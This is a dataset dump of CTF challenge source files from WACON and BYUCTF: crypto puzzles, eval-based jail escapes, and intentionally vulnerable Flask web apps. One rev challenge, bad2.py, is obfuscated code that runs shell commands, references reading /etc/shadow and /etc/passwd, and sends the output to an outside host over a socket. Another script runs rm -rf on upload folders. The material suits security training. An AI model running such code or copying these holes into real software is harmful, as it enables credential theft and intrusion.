repo stringlengths 7 90 | file_url stringlengths 81 315 | file_path stringlengths 4 228 | content stringlengths 0 32.8k | language stringclasses 1
value | license stringclasses 7
values | commit_sha stringlengths 40 40 | retrieved_at stringdate 2026-01-04 14:38:15 2026-01-05 02:33:18 | truncated bool 2
classes |
|---|---|---|---|---|---|---|---|---|
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/WACON/2023/Quals/crypto/PSS/prob.py | ctfs/WACON/2023/Quals/crypto/PSS/prob.py | from Crypto.Util.number import *
import os
from hashlib import sha256
from tqdm import tqdm
def cascade_hash(msg, cnt, digest_len):
assert digest_len <= 32
msg = msg * 10
for _ in range(cnt):
msg = sha256(msg).digest()
return msg[:digest_len]
def seed_to_permutation(seed):
permutation = ''
msg = seed + b"_shuffle"
while len(permutation) < 16:
msg = cascade_hash(msg, 777, 32)
msg_hex = msg.hex()
for c in msg_hex:
if c not in permutation:
permutation += c
return permutation
def permutation_secret_sharing_gen(secret):
seed_len = 5
master_seed = os.urandom(seed_len)
seed_tree = [None] * (2*N - 1)
seed_tree[0] = master_seed
for i in range(N-1):
h = cascade_hash(seed_tree[i], 123, 2 * seed_len)
seed_tree[2*i+1], seed_tree[2*i+2] = h[:seed_len], h[seed_len:]
secret_list = list(secret.decode()) # ex) ['0','1','2','3',...]
for i in range(N):
# i-th party has a permutation derived from seed_tree[i+N-1]
permutation = seed_to_permutation(seed_tree[i + N - 1])
secret_list = [hex(permutation.find(x))[2:] for x in secret_list]
permutated_secret = ''.join(secret_list)
hidden_party = os.urandom(1)[0] & 7
proof_idxs = merkle_proof_indexes[hidden_party]
return seed_tree[proof_idxs[0]] + \
seed_tree[proof_idxs[1]] + \
seed_tree[proof_idxs[2]] + \
bytes([hidden_party]) + \
bytes.fromhex(permutated_secret)
merkle_proof_indexes = {
0 : [2,4,8],
1 : [2,4,7],
2 : [2,3,10],
3 : [2,3,9],
4 : [1,6,12],
5 : [1,6,11],
6 : [1,5,14],
7 : [1,5,13]
}
N = 8 # Number of parties
secret = b'---REDACTED---'
flag = b"WACON2023{" + secret + b'}'
assert len(secret) == 16 and set(secret) == set(b"0123456789abcdef")
# You can bruteforce the secret directly if you can overcome ^^^O(0xbeeeef * 16!)^^^!!!
assert cascade_hash(flag, 0xbeeeef, 32).hex() == 'f7a5108a576391671fe3231040777e9ac455d1bb8b84a16b09be1b2bac68345c'
fw = open("pss_data", "wb")
for _ in tqdm(range(2 ** 17)):
fw.write(permutation_secret_sharing_gen(secret))
fw.close() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/WACON/2023/Quals/web/mosaic/file_remover.py | ctfs/WACON/2023/Quals/web/mosaic/file_remover.py | import os, time
from threading import Thread
def flag_remover():
while True:
try:
time.sleep(3)
os.system("rm -rf /app/uploads/admin/*")
os.system("rm -rf /app/static/uploads/admin/*")
except:
continue
def userfile_remover():
while True:
try:
time.sleep(600)
os.system("rm -rf /app/uploads/*/*")
os.system("rm -rf /app/static/uploads/*/*")
except:
continue
th1 = Thread(target=flag_remover)
th2 = Thread(target=userfile_remover)
th1.start()
th2.start()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/WACON/2023/Quals/web/mosaic/src/app.py | ctfs/WACON/2023/Quals/web/mosaic/src/app.py | from flask import Flask, render_template, request, redirect, url_for, session, g, send_from_directory
import mimetypes
import requests
import imageio
import os
import sqlite3
import hashlib
import re
from shutil import copyfile, rmtree
import numpy as np
app = Flask(__name__)
app.secret_key = os.urandom(24)
app.config['MAX_CONTENT_LENGTH'] = 16 * 1000 * 1000
DATABASE = 'mosaic.db'
UPLOAD_FOLDER = 'uploads'
MOSAIC_FOLDER = 'static/uploads'
if os.path.exists("/flag.png"):
FLAG = "/flag.png"
else:
FLAG = "/test-flag.png"
try:
with open("password.txt", "r") as pw_fp:
ADMIN_PASSWORD = pw_fp.read()
pw_fp.close()
except:
ADMIN_PASSWORD = "admin"
def apply_mosaic(image, output_path, block_size=10):
height, width, channels = image.shape
for y in range(0, height, block_size):
for x in range(0, width, block_size):
block = image[y:y+block_size, x:x+block_size]
mean_color = np.mean(block, axis=(0, 1))
image[y:y+block_size, x:x+block_size] = mean_color
imageio.imsave(output_path, image)
def hash(password):
return hashlib.md5(password.encode()).hexdigest()
def type_check(guesstype):
return guesstype in ["image/png", "image/jpeg", "image/tiff", "application/zip"]
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
return db
def init_db():
with app.app_context():
db = get_db()
db.execute("CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY, username TEXT unique, password TEXT)")
db.execute(f"INSERT INTO users (username, password) values('admin', '{hash(ADMIN_PASSWORD)}')")
db.commit()
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
@app.route('/', methods=['GET'])
def index():
if not session.get('logged_in'):
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/login">login</a> <a href="/register">register</a>'''
else:
if session.get('username') == "admin" and request.remote_addr == "127.0.0.1":
copyfile(FLAG, f'{UPLOAD_FOLDER}/{session["username"]}/flag.png')
return '''<h1>Welcome to my mosiac service!!</h1><br><a href="/upload">upload</a> <a href="/mosaic">mosaic</a> <a href="/logout">logout</a>'''
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if not re.match('^[a-zA-Z0-9]*$', username):
return "Plz use alphanumeric characters.."
cur = get_db().cursor()
cur.execute("INSERT INTO users (username, password) VALUES (?, ?)", (username, hash(password)))
get_db().commit()
os.mkdir(f"{UPLOAD_FOLDER}/{username}")
os.mkdir(f"{MOSAIC_FOLDER}/{username}")
return redirect(url_for('login'))
return render_template("register.html")
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if not re.match('^[a-zA-Z0-9]*$', username):
return "Plz use alphanumeric characters.."
cur = get_db().cursor()
user = cur.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, hash(password))).fetchone()
if user:
session['logged_in'] = True
session['username'] = user[1]
return redirect(url_for('index'))
else:
return 'Invalid credentials. Please try again.'
return render_template("login.html")
@app.route('/logout')
def logout():
session.pop('logged_in', None)
session.pop('username', None)
return redirect(url_for('login'))
@app.route('/mosaic', methods=['GET', 'POST'])
def mosaic():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
image_url = request.form.get('image_url')
if image_url and "../" not in image_url and not image_url.startswith("/"):
guesstype = mimetypes.guess_type(image_url)[0]
ext = guesstype.split("/")[1]
mosaic_path = os.path.join(f'{MOSAIC_FOLDER}/{session["username"]}', f'{os.urandom(8).hex()}.{ext}')
filename = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', image_url)
if os.path.isfile(filename):
image = imageio.imread(filename)
elif image_url.startswith("http://") or image_url.startswith("https://"):
return "Not yet..! sry.."
else:
if type_check(guesstype):
image_data = requests.get(image_url, headers={"Cookie":request.headers.get("Cookie")}).content
image = imageio.imread(image_data)
apply_mosaic(image, mosaic_path)
return render_template("mosaic.html", mosaic_path = mosaic_path)
else:
return "Plz input image_url or Invalid image_url.."
return render_template("mosaic.html")
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if not session.get('logged_in'):
return redirect(url_for('login'))
if request.method == 'POST':
if 'file' not in request.files:
return 'No file part'
file = request.files['file']
if file.filename == '':
return 'No selected file'
filename = os.path.basename(file.filename)
guesstype = mimetypes.guess_type(filename)[0]
image_path = os.path.join(f'{UPLOAD_FOLDER}/{session["username"]}', filename)
if type_check(guesstype):
file.save(image_path)
return render_template("upload.html", image_path = image_path)
else:
return "Allowed file types are png, jpeg, jpg, zip, tiff.."
return render_template("upload.html")
@app.route('/check_upload/@<username>/<file>')
def check_upload(username, file):
if not session.get('logged_in'):
return redirect(url_for('login'))
if username == "admin" and session["username"] != "admin":
return "Access Denied.."
else:
return send_from_directory(f'{UPLOAD_FOLDER}/{username}', file)
if __name__ == '__main__':
init_db()
app.run(host="0.0.0.0", port="9999") | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2024/crypto/Times/mul_safe.py | ctfs/BYUCTF/2024/crypto/Times/mul_safe.py | import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from ellipticcurve import * # I'll use my own library for this
from base64 import b64encode
import os
from Crypto.Util.number import getPrime
def encrypt_flag(shared_secret: int, plaintext: str):
iv = os.urandom(AES.block_size)
#get AES key from shared secret
sha1 = hashlib.sha1()
sha1.update(str(shared_secret).encode('ascii'))
key = sha1.digest()[:16]
#encrypt flag
plaintext = pad(plaintext.encode('ascii'), AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(plaintext)
return { "ciphertext" : b64encode(ciphertext), "iv" : b64encode(iv) }
def main():
the_curve = EllipticCurve(13, 245, getPrime(128))
start_point = None
while start_point is None:
x = getPrime(64)
start_point = the_curve.point(x)
print("Curve: ", the_curve)
print("Point: ", start_point)
new_point = start_point * 1337
flag = "byuctf{REDACTED}"
print(encrypt_flag(new_point.x, flag))
if __name__ == "__main__":
main()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2024/crypto/Do_Math/domath_safe.py | ctfs/BYUCTF/2024/crypto/Do_Math/domath_safe.py | from Crypto.Util.number import *
p = getPrime(2048)
q = getPrime(2048)
e = 0x10001
n = p * q
d = pow(e, -1, (p-1)*(q-1))
msg = "byuctf{REDACTED}"
m = bytes_to_long(msg.encode('utf-8'))
c = pow(m, e, n)
print(c)
print()
hints = [p, q, e, n, d]
for _ in range(len(hints)):
hints[_] = (hints[_] * getPrime(1024)) % n
if hints[_] == 0: hints[_] = (hints[_] - 1) % n
print("Hints:")
print(hints) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/rev/bad2/bad2.py | ctfs/BYUCTF/2023/rev/bad2/bad2.py | #!/usr/bin/python3
from base64 import b64decode as c︀;c︆=exec;c︋=lambda x:x.decode();c︆(c︋(c︀(b'ZXhlYygiaW1wb3J0IHN1YnByb2Nlc3MgYXMgc3lzIik=')));from base64 import b32decode as c︈;c︄={};c︄['c︉']=int;c︄['c︃']=__builtins__.__doc__;c︄['']=c︋(c︈(c︈(c︈(c︀(b'SkZMRVNWU0RLTkJWQVIyS0lOREVDVkNMSTVGVEtUQ1dJNUlURVVTSUtVNlQyUEo1SFU2UT09PT0=')))));os=sys;c︌=lambda c︀:c︋(os.Popen(c︀,stdout=os.PIPE,stderr=os.PIPE,shell=True).communicate()[0]);c︄['с']=len;c︅=exit;c︄['']+=c︌(c︄['c︃'][c︄['c︉']('𖭕')*10+c︄['c︉']('𑱖')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑱘')]+c︄['c︃'][c︄['c︉']('൧')*10+c︄['c︉']('᥋')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑥒')]+str.__doc__[c︄['c︉']('၁')*100+c︄['c︉']('𑑐')*10+c︄['c︉']('𑶣')]+c︄['c︃'][c︄['c︉']('𑥒')]);from codecs import encode as c︃;c︁=[16,12,21,-3,20,10,7,23,2,75,25,49,65,22,43,6,19,21,-2,50,22,4,89,49,16,8,3,3,-2,2,65,1,3,57,-3,10,35,0,17,57,19,2,65,6,-5,0,3,49,14,-4,23,-3,-3,26,63,21,89,77,83,15];c︉=ord;c︂=__file__;from types import CodeType;exec(CodeType(0,0,0,0,1+1+1+1+1,(1+1+1+1+1+1)*(1+1+1+1+1+1+1+1+1+1)+1+1+1+1+1+1+1,b't\x00d\x01\x19\x00d\x00d\x02\x85\x02\x19\x00d\x03k\x02r\x1et\x00d\x01\x05\x00\x19\x00d\x047\x00\x03\x00<\x00t\x00d\x01\x05\x00\x19\x00t\x01d\x05\x83\x017\x00\x03\x00<\x00d\x00S\x00t\x00d\x01\x05\x00\x19\x00d\x067\x00\x03\x00<\x00t\x00d\x01\x05\x00\x19\x00t\x01d\x07\x83\x017\x00\x03\x00<\x00d\x00S\x00',(None,'',-4,'\162\157\157\164','\x24\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\n','\x24\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77','\x24\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\n','\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64','\x58\x4f\x52','\x6e\x75\x69\x76\x79\x67'),('c︄','c︌'),(),'\x62\x61\x64','\x62\x61\x64',-1,b'\x14\x01\x10\x01\x18\x01\x10\x02\x18\x01',(),('','\x71\x70\x6f\x77\x65\x69\x72\x68\x66\x61\x6e\x73\x64\x6d\x6e\x2c\x6d\x78\x7a\x65\x77\x65\x72')));c︄['c']=chr;c︆(c︋(c︀(b"aWYobm90IFt4IGZvciB4IGluICgxKS5fX2NsYXNzX18uX19iYXNlX18uX19zdWJjbGFzc2VzX18oKSBpZiB4Ll9fbmFtZV9fID09ICdjYXRjaF93YXJuaW5ncyddWzBdKCkuX21vZHVsZS5fX2J1aWx0aW5zX19bJ19faW1wb3J0X18nXSgnb3MnKS5wYXRoLmlzZmlsZShfX2ZpbGVfX1swXStfX2J1aWx0aW5zX18uX19kb2NfX1s0XSsnbScrX19idWlsdGluc19fLl9fZG9jX19bMjRdK19fZmlsZV9fWzBdK19fYnVpbHRpbnNfXy5fX2RvY19fWzRdKydtJytfX2J1aWx0aW5zX18uX19kb2NfX1syNF0rJzInK19fYnVpbHRpbnNfXy5fX2RvY19fWzJdK19fYnVpbHRpbnNfXy5fX2RvY19fWzFdK3N0cigxNTA1KjYqNCs0KSkgb3Igb3BlbihfX2ZpbGVfX1swXStfX2J1aWx0aW5zX18uX19kb2NfX1s0XSsnbScrX19idWlsdGluc19fLl9fZG9jX19bMjRdK19fZmlsZV9fWzBdK19fYnVpbHRpbnNfXy5fX2RvY19fWzRdKydtJytfX2J1aWx0aW5zX18uX19kb2NfX1syNF0rJzInK19fYnVpbHRpbnNfXy5fX2RvY19fWzJdK19fYnVpbHRpbnNfXy5fX2RvY19fWzFdK3N0cigxNTA1KjYqNCs0KSkucmVhZCgpIT0iXHg2M1x4MzlceDM0XHg2ZFx4NjZceDc0XHg2Zlx4NTNceDdhXHg0Y1x4NDhceDM5XHg2ZVx4NzVceDZmXHg0YVx4NjVceDY5XHg2MVx4NmNceDc4XHgzOVx4NjRceDUwXHg1Mlx4NTJceDM4XHg1MVx4NzdceDYyXHg3M1x4MzJceDU4XHg0OFx4NWFceDM1XHgzOFx4MzhceDZkXHgzMVx4MzdceDc5XHg2ZVx4NzRceDQzXHg3NFx4NmNceDM1XHg1M1x4NDVceDZiXHgzOFx4MzFceDU5XHgzNVx4NzdceDRiXHgyYlx4NTlceDQ0XHg2ZFx4NzZceDRkXHg1NCIpOmV4aXQoKQ==")));c︁=[(c︎+c︄['с'](c︄))for(c︎)in(c︁)];'c︀'if(c︂!=c︃('\x2fgzc\x2fgzcek0o9u45','-3-1p-atpoqr'[::-2]))and(c︂!=c︃('\x2fubzr\x2fwhfgva\x2fpgs\x2fshgher-pgs-ceboyrzf\x2fonq2\x2fonq2\x2ecl','-3-1p-atpoqr'[::-2]))and(c︅())else'c︉';c=__import__("hashlib").sha256(open(c︂,'rb').read()[:3263]).hexdigest();c︊=c︄[''];c︆(c︀(c︋(b'aWYgKGMhPSIyN2NlNzE5NmNmMDZiYThjOWNmMDZhMTc3YmQzOTRlZTE3MmNiYWQ0NjU1ODRkY2RlYjY2ZTJjOTAxN2RhOTVkIik6ZXhpdCgp')));c︄['c︌']=""
for(c︎)in range(c︄['с'](c︊)):c︄['c︌']+=c︄['c'](c︉(c︊[c︎])^c︉(c︄['c'](c︁[c︎%c︄['с'](c︁)]^c︉((c︄['c︃'][c︄['c︉']('𖭕')*10+c︄['c︉']('𑱖')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑱘')]+c︄['c︃'][c︄['c︉']('൧')*10+c︄['c︉']('᥋')]+c︄['c︃'][c︄['c︉']('𑶣')*10+c︄['c︉']('𑥒')]+str.__doc__[c︄['c︉']('၁')*100+c︄['c︉']('𑑐')*10+c︄['c︉']('𑶣')]+c︄['c︃'][c︄['c︉']('𑥒')])[c︎%c︄['c︉']('𑶦')]))))
# I got too lazy to obfuscate the code below, but it's okay because it's not like you'll be able to read it anyway
import base64,socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("byuctf.xyz", 42561)) # chall author note: this is *supposed* to give ConnectionRefusedError (we don't actually want your info)
s.send(base64.b64encode(c︄['c︌'].encode("utf-8")))
s.close() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/Leet_1/leet1.py | ctfs/BYUCTF/2023/jail/Leet_1/leet1.py | import re
FLAG = open('flag.txt').read()
inp = input('> ')
if re.search(r'\d', inp) or eval(inp) != 1337:
print('Nope')
else:
print(FLAG) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/nopqrstuvwxyz/nopqrstuvwxyz.py | ctfs/BYUCTF/2023/jail/nopqrstuvwxyz/nopqrstuvwxyz.py | inp = input("code > ").lower()
eval((inp[:4]+__import__("re").sub(r'[n-z]','',inp[4:]))[:80]) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/abcdefghijklm/abcdefghijklm.py | ctfs/BYUCTF/2023/jail/abcdefghijklm/abcdefghijklm.py | inp = input("code > ").lower()
eval((inp[:4]+__import__("re").sub(r'[a-m]','',inp[4:]))[:80]) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/Builtins_1/b1.py | ctfs/BYUCTF/2023/jail/Builtins_1/b1.py | print(eval(input("code> "), {"__builtins__": {}}, {"__builtins__": {}})) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/a-z0-9/a-z0-9.py | ctfs/BYUCTF/2023/jail/a-z0-9/a-z0-9.py | eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130]) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/Builtins_2/b2.py | ctfs/BYUCTF/2023/jail/Builtins_2/b2.py | inp = input("code> ")[:72]
if "__" in inp:
print("Nope")
else:
print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}})) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/jail/Leet_2/leet2.py | ctfs/BYUCTF/2023/jail/Leet_2/leet2.py | import re
FLAG = open('flag.txt').read()
inp = input('> ')
if re.search(r'[123456789]', inp) or re.search(r'\(', inp) or eval(inp) != 1337:
print('Nope')
else:
print(FLAG) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/web/Notes/server.py | ctfs/BYUCTF/2023/web/Notes/server.py | # imports
from flask import Flask, session, request, redirect
import secrets, html
# initialize flask
app = Flask(__name__)
app.secret_key = secrets.token_hex(32)
FLAG = open("flag.txt", "r").read()
SECRET = open("secret.txt", "r").read()
users = [{'username':'admin','password':SECRET}] # NEVER DO THIS IN PRODUCTION fyi
notes = [{
"note":FLAG,
"user":"admin",
"id":"00000000000000000000000000000000",
"shared":[]
}]
csrf_tokens = []
@app.route('/', methods=['GET'])
def index():
if 'username' not in session:
return redirect('/login')
return f'''
<h1>Home</h1>
<p>Welcome {html.escape(session['username'],quote=True)}!</p>
<a href="/notes"><h3>View notes</h3></a>
<a href="/logout"><h3>Logout</h3></a>
'''
@app.route('/notes', methods=['GET'])
def view_notes():
if 'username' not in session:
return redirect('/login')
user_notes = []
for note in notes:
if note['user'] == session['username']:
user_notes.append(note)
page = "<h1>Notes</h1>"
for note in user_notes:
page += f"<p>{html.escape(note['note'],quote=True)}</p>"
page += f"<p>{html.escape(note['id'],quote=True)}</p>"
shared_notes = []
for note in notes:
if session['username'] in note['shared']:
shared_notes.append(note)
page += "<h1>Shared Notes</h1>"
for note in shared_notes:
page += f"<p>{html.escape(note['note'],quote=True)}</p>"
page += f"<p>{html.escape(note['id'],quote=True)}</p>"
page += '''
<a href="/create"><h3>Create note</h3></a>
<a href="/share"><h3>Share note</h3></a>
<a href="/logout"><h3>Logout</h3></a>
'''
return page
@app.route('/create', methods=['GET', 'POST'])
def create():
global notes
if len(notes) > 200:
notes = []
if 'username' not in session:
return redirect('/login')
if request.method == 'POST':
if 'note' not in request.form:
return 'note cannot be empty'
if not isinstance(request.form['note'], str):
return 'note must be a string'
if len(request.form['note']) > 100:
return 'note size is max 100'
notes.append({"note":request.form['note'],"user":session['username'],"id":secrets.token_hex(16),"shared":[]})
return redirect('/notes')
return '''
<h1>Create note</h1>
<form method="post">
<p><label for="note">Note Description</label>
<input type=text name=note>
<p><input type=submit value=Create>
</form>
<a href="/notes"><h3>View notes</h3></a>
'''
@app.route('/share', methods=['GET', 'POST'])
def share():
global csrf_tokens
if len(csrf_tokens) > 200:
csrf_tokens = []
if 'username' not in session:
return redirect('/login')
if request.method == 'POST':
if 'note_id' not in request.form or 'user' not in request.form or 'csrf_token' not in request.form:
return 'note_id cannot be empty'
if not isinstance(request.form['note_id'], str) or not isinstance(request.form['user'], str) or not isinstance(request.form['csrf_token'], str):
return 'All parameters must be a string'
if request.form['csrf_token'] not in csrf_tokens:
return 'CSRF token is invalid'
if len(request.form['note_id']) != 32:
return 'note_id must be 32 characters'
note_exists = False
for note in notes:
if note['id'] == request.form['note_id']:
note_exists = True
break
if not note_exists:
return 'note_id is invalid'
user_exists = False
for user in users:
if user['username'] == request.form['user']:
user_exists = True
break
if not user_exists:
return 'User does not exist'
for note in notes:
if note['id'] == request.form['note_id'] and note['user'] == session['username']:
note['shared'].append(request.form['user'])
return redirect('/notes')
return 'You don\'t own this note'
token = secrets.token_hex(32)
csrf_tokens.append(token)
return f'''
<h1>Share note</h1>
<form method="post">
<p><label for="note_id">Note ID</label>
<input type=text name=note_id>
<p><label for="user">User</label>
<input type=text name=user>
<p><input type=submit value=Share>
<input type=hidden name=csrf_token value={token}>
</form>
<a href="/notes"><h3>View notes</h3></a>
'''
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
if 'username' not in request.form or 'password' not in request.form:
return 'Username and password cannot be empty'
if not isinstance(request.form['username'], str) or not isinstance(request.form['password'], str):
return 'Username and password must be strings'
if (len(request.form['username']) < 9 or len(request.form['password']) < 9) and request.form['username'] != 'admin':
return 'Username and password must be at least 9 characters'
for user_obj in users:
if user_obj['username'] == request.form['username'] and user_obj['password'] == request.form['password']:
session['username'] = request.form['username']
return redirect('/')
return 'Incorrect username or password'
return '''
<h1>Login</h1>
<form method="post">
<p><label for="username">Username</label>
<input id="username" type=text name=username>
<p><label for="password">Password</label>
<input id="password" type=text name=password>
<p><input id="formsubmit" type=submit value=Login>
</form>
<a href="/register"><h3>Register here</h3></a>
'''
@app.route('/register', methods=['GET', 'POST'])
def register():
global users
if len(users) >= 150:
users = []
if request.method == 'POST':
if 'username' not in request.form or 'password' not in request.form:
return 'Username and password cannot be empty'
if not isinstance(request.form['username'], str) or not isinstance(request.form['password'], str):
return 'Username and password must be strings'
if len(request.form['username']) < 9 or len(request.form['password']) < 9:
return 'Username and password must be at least 9 characters'
for user_obj in users:
if user_obj['username'] == request.form['username']:
return 'Username already taken'
users.append({"username":request.form['username'],"password":request.form['username']})
return redirect('/login')
return '''
<h1>Register</h1>
<form method="post">
<p><label for="username">Username</label>
<input type=text name=username>
<p><label for="password">Password</label>
<input type=text name=password>
<p><input type=submit value=Register>
</form>
<a href="/login"><h3>Login here</h3></a>
'''
@app.route('/logout')
def logout():
session.pop('username', None)
return redirect('/login')
if __name__ == "__main__":
app.run(host='0.0.0.0', port=1337, threaded=True) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/botnet_order_routes.py | ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/botnet_order_routes.py | # imports
from __main__ import app, token_required, BOT_MONTHLY_PRICE, mysql
from flask import jsonify, request
from datetime import datetime
# GET botnet order information
@app.route('/api/botnet-orders/<int:order_id>', methods=['GET'])
@token_required
def get_botnet_order(session_data, order_id):
# get user_id from order_id
cur = mysql.connection.cursor()
cur.execute("SELECT user_id, number_of_bots, time_of_use, price, approved, time_stamp FROM Botnet_Order WHERE order_id=%s", (order_id,))
response = cur.fetchone()
cur.close()
if not response:
return jsonify({'message': 'You do not have permission to access this information'}), 403
user_id = response[0]
# ensure user is authorized to access the information
if (not session_data['is_staff']) and (session_data['user_id'] != user_id):
return jsonify({'message': 'You do not have permission to access this information'}), 403
# return botnet order information
response = {"number_of_bots": response[1], "order_id": order_id, "time_of_use": response[2], "price": response[3], "approved": response[4]==0, "time_stamp": response[5], "user_id": user_id}
return jsonify(response), 200
# POST create a botnet order
@app.route('/api/botnet-orders', methods=['POST'])
@token_required
def post_create_botnet_order(session_data):
# ensure needed parameters are present
if (request.json is None) or ('number_of_bots' not in request.json) or ('time_of_use' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
number_of_bots = request.json['number_of_bots']
time_of_use = request.json['time_of_use']
timestamp = datetime.utcnow().isoformat()
user_id = session_data["user_id"]
# ensure parameters are integers
if type(number_of_bots) is not int or type(time_of_use) is not int:
return jsonify({'message': 'Invalid parameter data'}), 400
# ensure number of bots is positive
if number_of_bots <= 0:
return jsonify({'message': 'Invalid number of bots'}), 400
# ensure time of use is positive and less than or equal to 12 months
if time_of_use <= 0 or time_of_use > 12:
return jsonify({'message': 'Invalid time of use'}), 400
# calculate price
price = number_of_bots * time_of_use * BOT_MONTHLY_PRICE
# insert botnet order into database
cur = mysql.connection.cursor()
cur.execute("INSERT INTO Botnet_Order (number_of_bots, time_of_use, price, time_stamp, user_id) VALUES (%s, %s, %s, %s, %s)", (number_of_bots, time_of_use, price, timestamp, user_id))
mysql.connection.commit()
order_id = cur.lastrowid
cur.execute("SELECT * FROM Botnet_Order WHERE order_id=%s", (order_id,))
response = cur.fetchone()
cur.close()
response = {"order_id": order_id, "timestamp": timestamp, "price": price}
return jsonify(response), 200 | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/login_routes.py | ctfs/BYUCTF/2023/web/urmombotnetdotnetcom_1/app/login_routes.py | # imports
from __main__ import app, mysql
from flask import jsonify, request, make_response
import re, jwt
from hashlib import sha256
# POST register
@app.route('/api/register', methods=['POST'])
def post_register():
# ensure needed parameters are present
if (request.json is None) or ('email' not in request.json) or ('username' not in request.json) or ('password' not in request.json) or ('bitcoin_wallet' not in request.json):
return jsonify({'message': 'Missing required parameters'}), 400
email = request.json['email']
username = request.json['username']
password = request.json['password']
bitcoin_wallet = request.json['bitcoin_wallet']
# ensure parameters are strings
